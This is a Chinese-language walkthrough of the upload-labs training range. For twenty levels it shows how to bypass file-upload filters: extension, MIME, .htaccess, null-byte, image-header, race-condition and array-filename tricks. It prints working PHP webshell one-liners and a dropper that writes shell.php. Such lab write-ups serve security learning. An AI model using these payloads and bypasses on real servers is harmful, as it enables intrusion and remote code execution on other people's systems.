upload-labs
目前进度 完结
文章目录
Pass-01
任务:上传一个webshell
文件
上传带有一句话木马的1.php文件后,提示该
文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.php
而且响应速度很快,可以先判断是前端验证,去尝试绕过
-
f12查看表单发现一个
checkFile
的js
函数 -
我们直接删掉
return checkFile()
-
上传成功,我们调用木马文件
一句话木马内容是:
<?php @eval($_POST[x]); ?>
所以我们需要使用
post
进行传参 -
调用成功
Pass-02
任务:上传一个webshell
到服务器
-
发现还有
checkFile
的js
函数,我和上次一样操作发现提示:文件类型不正确,请重新上传
-
我们使用
burp
来抓包试试,js
的函数还是默认删掉我们看到里面的MIME类型是流类型,我们尝试修改类型为
image/png
,然后放行数据包 -
上传成功,尝试调用成功
Pass-03
任务:上传一个webshell
到服务器
-
尝试和之前一样的操作,发现失败,提示:
不允许上传.asp,.aspx,.php,.jsp后缀文件!
这是黑名单过滤 -
我们尝试修改文件名后缀
把
php
改为**.phtml .phps .php5 .pht
** -
上传成功后,我们调用原本的文件名发现失败了,复制链接后发现文件名被修改了,所以我们需要调用被修改后的文件名才可以
Pass-04
任务:上传一个webshell
到服务器
-
正常上传一个
1.php
文件,提示该文件不允许上传,按照前面的操作提示这个 -
我们知道中间件是
apache
,所以有可能可以上传htaccess
文件编写
htaccess
解析gif
为php
文件# .htaccess <IfModule mime_module> AddHandler php5-script .gif SetHandler application/x-httpd-php </IfModule>
上传文件,上传成功
-
上传一个
gif
文件,里面包含后门代码 -
访问
gif
文件,发下gif
被解析为php
文件了
Pass-05
任务:上传一个webshell
到服务器
-
我们尝试上传
htaccess
文件发现提示:此文件类型不允许上传!
尝试另外的后缀名不行,尝试使用
.user.ini
也不行,因为文件上传之后会以时间戳命名 -
我们再试试改后缀名大小写(提示里面大小写过滤不完全)
-
上传成功,调用成功
Pass-06
任务:上传一个webshell
到服务器
-
后缀名大小写,
htaccess
,别的后缀名发现都不行 -
看了源码发现少了
trim
,就是没去空格,尝试”1.php ”
后面对加个空格 -
上传成功,调用成功
Pass-07
-
尝试了各种后缀名,后缀名大小写,以及
htaccess
-
查看源码,发现对
.
的过滤不完整,所以可以上传1.php.
,代码获取1.php.
的后缀名是.
,只有一个.
就不会被代码检测到 -
上传
1.php.
文件 -
上传成功,调用成功
Pass-08
-
虽然
.user.ini
可以上传,但是发现上传后名字被改了 -
查看源码,发现没有对
::$DATA
过滤,在windows中,加入一个文件命名为1.php::$DATA
就会被认为是一个数据流,不会检查后缀名,windows 则会解析为1.php
-
上传成功,调用成功,访问时记得去掉
::$DATA
Pass-09
- 查看提示提示:
本pass只允许上传.jpg|.png|.gif后缀的文件!
- 查看源码,发现可以使用
1.php. .
绕过 - 上传成功,调用成功
Pass-10
-
直接上传
1.php
文件,发现可以直接上传了,打开链接发现php
后缀被去掉了 -
会把在黑名单里面的后缀名变为
””
,可以尝试上传1.pphphp
文件(双写绕过),他先把php
替换之后,后缀剩下的字符串也会自动拼接成php
-
上传成功,调用成功
Pass-11
-
尝试了上一题的,和大小写绕过等,因为上传文件后文件名会被修改,所以
.user.ini
等解析漏洞也不行 -
提示是:本
pass
上传路径可控 -
查了一下说是使用
%00
截断,这个方法要求PHP版本得小于5.3
把
save_path
路径修改为../upload/12.php%00
,filename
为正常图片命名request:
response:
-
源码分析
首先要知道:当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
https://blog.csdn.net/weixin_44840696/article/details/90581104 (了解0x00截断原理用的)
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; // 这里 $temp_file = temp/(服务器临时文件路径) // $img_path = ../upload/12.php%00/(rand字符).jpg // 在这里移动文件到img_path的时候,img_path的%00后面的字符就会被截断 // 所以就会被解析为12.php if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
-
上传成功,访问
12.png
把后面截断了的删掉,成功
Pass-12
-
抓包发现是在post上传的路径
-
我们尝试和上一关一样在upload上面加上
12.php%00
,发现上传失败,因为post不会读取url编码的,所以需要在request的hex里面设置12.php
后面的一位为00
(图片上多a是因为方便确认12.php
后面是在哪,改完后把a删掉) -
上传成功,调用成功,和上一
pass
一样调用
Pass-13
-
看着介绍应该是说文件头,然后使用文件包含来包含图片文件,图片文件里面的代码会被include到含有文件包含漏洞的文件里
-
GIF89a
是gif
的文件头 -
上传成功,调用文件,发现被解析成了
gif
文件,所以代码执行不了,再看到 高亮文字是个链接,里面是含有文件包含漏洞的文件 -
参数是
GET
,直接加上刚刚上传的gif
的路径去调用 -
调用成功
Pass-14
- 和上一Pass一模一样,只要加上文件头
GIF89a
Pass-15
- 和上一Pass一模一样,只要加上文件头
GIF89a
Pass-16
-
查看提示发现是二次渲染,我们上传一张正常的
gif
,然后把二次渲染后的gif
保存下来,可以发现大小变小了很多,我们要做的就是把上传之前和上传之后的gif
使用16进制编辑器打开,寻找相同的地方,然后在相同的地方插入后门代码然后在相同的地方修改,插入php后门代码
-
接着上传修改后的
gif
照片,上传成功,调用成功= -
如果要上传png或者jpg照片,则要用不同的方法
https://blog.csdn.net/weixin_45588247/article/details/119177948
Pass-17
-
说是要代码审计,所以就直接看源码
可以发现就算是php后缀的文件,也是在移动过去之后再检测的,所以就是要在
unlink
之前,访问webshell
,也就是条件竞争$is_upload = false; $msg = null; if(isset($_POST['submit'])){ // 检查是否提交了上传表单,如果提交了则执行下面的代码块 $ext_arr = array('jpg','png','gif'); // 定义允许上传的文件类型数组,包括jpg,png,gif $file_name = $_FILES['upload_file']['name']; // 从上传表单中获取上传文件的名字 $temp_file = $_FILES['upload_file']['tmp_name']; // 从上传表单中获取上传文件的临时路径 $file_ext = substr($file_name,strrpos($file_name,".")+1); // 获取上传文件的扩展名,即文件名的最后部分 $upload_file = UPLOAD_PATH . '/' . $file_name; // 拼接出上传文件的完整路径,创建以原文件名为名的文件 if(move_uploaded_file($temp_file, $upload_file)){ // 将临时文件移动到指定的路径,如果移动成功则执行 if(in_array($file_ext,$ext_arr)){ // 检查上传文件的扩展名是否在允许的类型数组中,如果在则执行下面的代码块 $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; #生成新的文件名,包括随机数字、当前日期和时间以及原文件的扩展名 rename($upload_file, $img_path); // 将上传的文件重命名为新的文件名 $is_upload = true; }else{ // 如果上传文件的扩展名不在允许的类型数组中,则设置错误消息,并删除上传的文件 $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }
-
首先使用burp的
intruder
模块来快速重发1.php
文件(发送包),里面的payload
是<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>'); ?> // fputs=fwrite,访问1.php会生成shell.php,然后写 <?php @eval($_POST["cmd"]) ?> 进去burp的intruder模块来截取发给宋保
-
同时使用burp的
intruder
模块来截取访问xxxx/upload/1.php
(响应包),发送包和响应包一起使用intruder
模块,当响应包code
为200
的时候intruder
就可以停止了,200
就表示访问1.php
成功了,代码也执行了,停止后我们去访问shell.php
-
访问
shell.php
,成功
Pass-18
-
代码审计,文件包含漏洞,也就是条件竞争。
-
需要制作图片🐎,里面的代码是上一个Pass的生成
shell
的代码,然后使用intruder
模块快速发送(发送包) -
我们要在图片🐎被rename之前使用文件包含,所以我们也要使用
intruder
模块来发送截取包,使用include.php
文件包含发送包:
截取包:
一块放到
intruder
模块里发送,截取包200时就表示已经包含到图片马了,就生成了shell.php
-
访问生成的
shell.php
Pass-19
-
发现可以自己更改文件名,尝试截断
-
发现是通过post来上传,抓包修改
19.php
和19.jpg
中间插上%00
来实现截断 -
发现上传成功
-
访问成功,调用成功
Pass-20
-
发现这题内容和上一Pass差不多,尝试了上一Pass的操作发现提示:
-
修改数据包中的MIME,上传成功但不是我们预想的情况,名字变成gif后缀
-
查看提示让我们代码审计
$file_name = reset($file) . '.' . $file[count($file) - 1];
发现是用过数组第一个元素和最后一个元素拼接的,发现无法绕过
-
但是发现
你可以上传一个数组,因为他是判断你是不是一个数组,如果不是再创建,但假如你本身就是数组,他就绕过了
-
我们上传数组
arr[0]
和arr[2]
此时
arr[1]
为空值,所以count
函数计算值为2
,所以$file[count($file) - 1]
=arr[2 - 1]
=arr[1]
,arr[1]
是空值,所以拼接就是"20.php"+"."+""
-
上传成功,调用成功